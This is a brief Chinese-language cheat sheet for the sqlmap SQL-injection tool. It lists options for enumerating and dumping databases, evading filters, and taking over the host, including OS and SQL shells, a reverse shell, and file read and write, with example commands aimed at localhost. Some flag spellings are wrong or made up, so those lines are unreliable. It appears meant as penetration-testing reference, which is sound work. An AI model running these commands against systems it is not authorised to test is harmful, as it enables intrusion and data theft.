Sqlmap工具介绍
sqlmap 是一种开源渗透测试工具,可自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。它配备了一个强大的检测引擎,为最终渗透测试人员提供了许多利基功能,以及从数据库指纹识别、从数据库获取数据到访问底层文件系统和通过输出在操作系统上执行命令的广泛切换。带外连接。下载地址:[http://sqlmap.org/](http://sqlmap.org/)
环境:python2、python3
Sqlmap快速上手
基础
请求
-u "url" 指定目标url
-p "id" 指定post类型注入参数
--cookie "id=1" F12控制台输入document.cookie获取
-r 1.txt 将数据包复制到1.txt文件,指定数据包测试
爆破
-dbs 枚举所有数据库
-tables 枚举所有表
-columns 枚举所有字段
--users 枚举所有数据库用户
获取数据
-D "database" 指定库名
-T "table" 指定表名
-C "columns" 指定列名
--dump 下载数据 –start 1 –stop 3
--dump-all 下载整个库
进阶
-v 3 结果的输出的详细程度0-6
--level=3 执行测试的等级(1-5,默认为1)
--risk=RISK 执行测试的风险(0-3,默认为1)
-dbms mysql 指定数据库类型
-is-dba 查看当前是否有管理员权限
--method=POST 强制请求方法
--current-db 查看当前运行数据
--proxy="localhost:8080" 通过代理连接到目标
绕过
--tamper="绕过.py" 添加绕过插件
-random-agent 随机user-agent头
--delay 1 延时1秒
提权
--os-shell 获取系统shell
--sql-shell 获取sql的shell
--shell-pwn 反弹shell
-file-read "c:/test.txt" 读取文件
-file-write "c:/test.txt" 写入文件
其他
--update 更新sqlmap
--output-dir 保存路径
--batch --smart 智能选择Y/n
-a 获取全部数据
测试语句参考
python sqlmap.py -u '127.0.0.1' -v 3 -dbs
python sqlmap.py -u '127.0.0.1' -v 3 -D 'database' -tables
python sqlmap.py -u '127.0.0.1' -D 'database' -T 'table' --dump